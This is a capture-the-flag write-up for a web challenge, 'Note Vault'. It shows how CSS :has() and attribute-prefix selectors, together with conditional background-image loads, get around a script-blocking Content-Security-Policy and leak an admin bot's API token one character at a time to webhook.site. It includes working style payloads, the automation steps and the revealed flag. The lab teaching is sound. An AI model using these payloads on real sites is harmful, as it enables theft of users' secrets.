$cat note-vault.mdWebHackultet 2026
Note Vault
A note app blocks scripts with a strict CSP but still allows inline CSS and remote images, enough to leak an admin's token one character at a time through conditional background loads.
$man note-vault
What this one teaches:
- That a Content-Security-Policy blocking scripts doesn't block every way to exfiltrate data.
- How CSS :has() and attribute selectors can turn page content into a yes/no signal.
- Building a character-by-character leak out of many small yes/no answers.
$hint --one-at-a-time
Stuck? Open one hint, then go back and try again before reading the next.
Hint 1 of 2show
Scripts are blocked, but the note still renders raw HTML and can load a remote image. What could trigger an image load conditionally?
Hint 2 of 2show
Nothing says the secret has to look like a UUID. Check what shape it actually has before assuming the character set.
Task description
A note-taking app. Each account gets three notes, HTML is allowed in them, but “scripts are blocked.” Notes can be reported to an admin bot. The goal is to steal the admin’s API token.
What’s actually blocked
Every note’s content is rendered completely unsanitized, any tag or attribute survives. The note view endpoint does set a Content-Security-Policy, though:
Content-Security-Policy: default-src 'self'; script-src 'none'; style-src 'self' 'unsafe-inline'; img-src *;
script-src 'none' is thorough: no inline scripts, no event handler attributes, no javascript: links. But style-src 'unsafe-inline' still allows a <style> block, and img-src * allows images from any origin at all.
On every authenticated page sits the thing worth stealing:
<input type="text" id="api_token" value="TOKEN_HERE" style="opacity: 0; font-size: 1px;">
The admin’s “API token” turned out to be the flag itself, in CTF2026[...] form rather than the UUID shape we expected at first. That cost us a round of testing before we noticed: a search over 0-9a-f found nothing, and only widening the character set turned up the leading C.
Turning CSS into a leak
With JavaScript gone, the remaining tools are inline styles and external images, which is exactly what CSS-based exfiltration needs. The :has() pseudo-class lets a selector match based on whether an element contains a matching descendant, and combined with an attribute-prefix selector on the token input, it becomes a conditional:
body:has(input#api_token[value^="CTF2026[6"]) #d1 {
background: url(https://webhook.site/TOKEN?char=6) !important;
}
If the admin’s token starts with CTF2026[6, the browser matches the selector and fetches that background image. If it doesn’t, nothing is requested. Every character position becomes a small yes/no oracle: try each candidate character, see which fetch fires.
Running the leak
-
Set up a webhook (we used webhook.site) to catch the exfiltration requests.
-
Register a new account (notes are capped at three per account, but registration is unlimited).
-
Create a note with one
<style>rule per candidate character for the next unknown position, each pointing a different, otherwise invisible<div>’s background at a distinct webhook URL carrying that character, plus one unconditional<img>as a canary to confirm the bot actually visited:<style> body:has(input#api_token[value^="CTF2026[6"]) #d0 { background:url(https://webhook.site/ID?i=0) !important } body:has(input#api_token[value^="CTF2026[7"]) #d1 { background:url(https://webhook.site/ID?i=1) !important } </style> <div id="d0"></div><div id="d1"></div> <img src="https://webhook.site/ID?canary=1">Each candidate gets its own target element, since an element can only resolve one
background-image. -
Report the note to the admin bot.
-
Check the webhook: exactly one character-specific callback fires alongside the canary, revealing the next character.
-
Extend the known prefix and repeat, registering a fresh account every three notes.
Automated end to end, this took about twelve rounds and roughly two minutes to recover the full flag.
$cat flag.txt reveal
CTF2026[653940931957]